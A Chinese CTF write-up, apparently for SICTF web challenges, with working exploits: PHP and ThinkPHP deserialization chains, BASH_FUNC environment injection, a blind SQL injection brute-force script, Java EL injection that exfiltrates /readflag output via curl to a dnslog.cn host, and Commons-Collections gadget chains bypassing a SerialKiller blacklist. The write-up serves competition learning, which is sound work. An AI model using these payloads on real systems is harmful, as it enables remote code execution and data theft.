100%_upload
用短标签绕过内容检测,把php更改为jpg后缀,上传然后在index.php?file进行包含即可
Not just unserialize
简单的反序列化
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
var_dump($this->newyear);
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
/*
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
*/
$payload = new start();
$payload->welcome = new SE();
$payload->welcome->year = new CR();
$payload->welcome->year->newyear = '
worries';
$payload->welcome->year->last = new ET();
echo base64_encode(serialize($payload));
?>
然后就是环境变量注入rce?get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/f*;%20}
hacker
无列名注入1'/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats%23
得到:flag,users,gtid_slave_pos
爆破flag脚本
import requests
url='http://yuanshen.life:35795/'
payload="?username=1'/**/union/**/select/**/(select/**/0,'{}')>(select/**/*/**/from/**/flag)%23"
flag='SICTF{'
for j in range(1,50):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
re=requests.get(url+py)
#print(re.text)
if '1<br>' in re.text:
flag+=chr(i-1)
print(flag)
break
但是flag里的英文字母都是小写的,比赛的时候一直说flag不对还很疑惑
其实应该用
2'/**/union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)/**/a%23
直接注的,但是比赛的时候少写了个as a,所以就没读到。因为flag表是两列,所以要select 1,2,如果select 1,2,3就也读不到了,还是没有真正理解无列名注入。其实也可以dumpfile写php文件查看环境变量
EZ_SSRF
ssrf,不过藏了个admin.php,ssrf访问/admin.php就可以了。一开始没扫,想了好久
Oyst3rPHP
访问/www.zip下源码
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
public function doLogin()
{
/*emmm我也不知道这是what,瞎写的*/
if ($this->request->isPost()) {
$username = $this->request->post('username');
$password = $this->request->post('password');
if ($username == 'your_username' && $password == 'your_password') {
$this->success('Login successful', 'index/index');
} else {
$this->error('Login failed');
}
}
}
}
md5绕过,preg_match回溯次数绕过,thinkphp6.0漏洞?left=s878926199a&right=s155964671a
key='1'*1000000+'603THINKPHP'
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat /Oyst3333333r.php"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
[进阶]elInjection
先看一下这多到离谱的hint,真喂饭了属于是。
根据第一个hint,我们找到java el表达式+scriptengine webshell 分享
得到payload:${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}
在本地先去掉过滤,成功弹计算器,说明可行,把过滤加回去,主要是eval里的内容会被检测,要根据base64绕过
因为eval里的是js代码,所以要按js的语法写,具体可以参考HGAME 2024 WEEK1 jhat,要注意的点主要是把类的路径写全,如String要写成java.lang.String,然后定义变量的时候用var。
我们先用java代码来写个思路
先想想题目对我们的代码有什么要求,就是要不出现Runtime等关键字来执行系统命令
hint4已经说的很明白了
所以我们的代码如下:
String string = new java.lang.String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKTs="));
new javax.script.ScriptEngineManager().getEngineByExtension("js").eval(string);
成功本地弹计算器
然后我们把代码改写成js的形式,并把eval里js代码的"用\进行转义
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var%20string=new%20java.lang.String(java.util.Base64.getDecoder().decode(\"amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKTs=\"));new%20javax.script.ScriptEngineManager().getEngineByExtension(\"js\").eval(string);")}
成功弹计算器
接下来就是要执行什么命令,根据测试,无法回显同时curl不出来,根据hint2,知道dns是出网的,然后根据hint3,我们知道要执行/readflag
所以
new java.lang.ProcessBuilder("bash", "-c", "curl `/readflag`.22copk.dnslog.cn").start();
这里本来想用Runtime,但是会报下面的错
把我们的代码base64编码
得到最终的payload
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var string=new java.lang.String(java.util.Base64.getDecoder().decode(\"bmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcigiYmFzaCIsICItYyIsICJjdXJsIGAvcmVhZGZsYWdgLjIyY29way5kbnNsb2cuY24iKS5zdGFydCgpOw==\"));new javax.script.ScriptEngineManager().getEngineByExtension(\"js\").eval(string);")}
成功读到flagdnslog的平台还有点问题,最开始一直dns不了,我还以为hint是错的,后面重新Get SubDomain就有了,这里推荐一下这个dnslog平台
这里看了一下其他师傅的wp,发现还可以用js的String.fromCharCode和charAt与toChars获取字符再由toString转字符串concat拼接绕过
CC_deserialization
出题人的hint基本把链子给出来了,但是我还是不会,菜鸡一个。
这里主要参考这篇博客
hint里AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue用了两次,这里会比较疑惑。为了理解这个,我们先把题目设置的简单一点,现在可以出网,那么我们就可以不用rmi的二次反序列化了。
先看一下CC1的链子
但是serialkiller.xml里过滤了chainedTransformer,所以我们CC1的链子就在TransformedMap.checkSetValue那里断了。
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateFactory$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</regexp>
<regexp>org\.apache\.commons\.collections\.functorsFactoryTransformer$</regexp>
<regexp>javax\.management\.BadAttributeValueExpException$</regexp>
<regexp>org\.apache\.commons\.collections\.keyvalue\.TiedMapEntry$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TemplatesImpl$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TrAXFilter$</regexp>
<regexp>java\.security\.SignedObject$</regexp>
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateFactory$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</regexp>
<regexp>org\.apache\.commons\.collections\.functorsFactoryTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
<regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
<regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>java\.util\.PriorityQueue$</regexp>
<regexp>java\.lang\.reflect\.Proxy$</regexp>
<regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
<regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
<regexp>java\.beans\.EventHandler$</regexp>
<regexp>java\.util\.Comparator$</regexp>
<regexp>org\.reflections\.Reflections$</regexp>
<regexp>org\.apache\.commons\.collections\.map\.LazyMap$</regexp>
<regexp>org\.apache\.commons\.collections\.map\.DefaultedMap$</regexp>
<regexp>java\.util\.Hashtable$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
也就是说我们现在只能进行一次xxxTransformer.transformer,但是在AbstractInputCheckedMapDecorator$MapEntry#setValue里在进行一次checkSetValue即触发transformer还有entry.setValue(value),如果我们能够让entry为AbstractInputCheckedMapDecorator$MapEntry,因为value是我们transformer后获得的值,那么我们不就能再调用一次setValue,也就能再调用一次xxxTransformer.transformer
我们先调试看一下调用一次setValue时,entry是什么?
package org.example.CC;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception{
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaaa");
Map transformedMap4 = TransformedMap.decorate(map,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotaionInvocationHandlerConstructor.setAccessible(true);
Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap4);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
Map transformedMap4 = TransformedMap.decorate(map,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));
我们序列化的是transformedMap4,可以看到entry是transformedMap4进行decorate的来源map的键值对,即我们的HashMap$Node,猜测entry是序列化对象decorate的第一个map里面的键值对,我们再写一个transformedMap3
map.put("value","aaaa");
Map transformedMap3 = TransformedMap.decorate(map,new ConstantTransformer(3),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
Map transformedMap4 = TransformedMap.decorate(transformedMap3,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));
这里要解释一下我们为什么TransformedMap的键值对在这里是AbstractInputCheckedMapDecorator$MapEntry
可以看到TransformerMap继承了AbstractMapEntryDecorator,AbstractInputCheckedMapDecorator$MapEntry的parent是AbstractMapEntryDecorator。entry是map里键值对的意思,那么entry的parent是谁呢?当然就是map。所以TransformerMap的entry就是AbstractInputCheckedMapDecorator$MapEntry,所以接下来会调用entry.parent#checkSetValue
即transformedMap3#checkSetValue,即InvokerTransformer.transformer
而且value是我们之前ConstantTransformer(Runtime.class).transform(value)返回的Runtime.class,接下来就会调用InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class)
返回了getRuntime,这不就跟ChainedTransformer一样了吗?
直接给出payload
package org.example.CC;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1_no_chain {
public static void main(String[] args) throws Exception{
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaaa");
Map transformedMap1 = TransformedMap.decorate(map,new ConstantTransformer(1),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}));
Map transformedMap2 = TransformedMap.decorate(transformedMap1,new ConstantTransformer(2),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}));
Map transformedMap3 = TransformedMap.decorate(transformedMap2,new ConstantTransformer(3),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
Map transformedMap4 = TransformedMap.decorate(transformedMap3,new ConstantTransformer(4),new ConstantTransformer(Runtime.class));
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotaionInvocationHandlerConstructor.setAccessible(true);
Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap4);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
成功弹计算器
如果这题出网的话,我们就已经过关了。
但是这题不出网,我们要写内存马,需要用CC3的链加载字节码。这就是为什么要通过rmiConnector#connect进行二次反序列化。因为一次的话我们最多只能用到ChainedTransformer,而加载不了字节码。那么我们现在想调用rmiConnector#connect就很轻松了,先用ConstantTransformer返回rmiConnector,在调用InvokerTransformer执行connect,因为我不会内存马,这里就直接CC4加载弹计算器的代码
package org.twice;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import static org.example.rmi.EvilRegistry.genEvilMap;
public class RMICC {
public static void main(String[] args) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL("rmi","127.0.0.1",1099,"/stub/"+getEvilString());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaaa");
Map decorate = TransformedMap.decorate(map,null,invokerTransformer);
Map transformedMap = TransformedMap.decorate(decorate,null,constantTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotaionInvocationHandlerConstructor.setAccessible(true);
Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
System.out.println(transformedMap.entrySet().getClass().getName());
serialize(o);
unserialize("ser.bin");
}
public static String getEvilString() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new org.apache.commons.collections4.functors.ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(priorityQueue);
return Base64.getEncoder().encodeToString(out.toByteArray());
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
不是你的公告是个什么鬼,私宅蒸恐怖
章鱼 03-04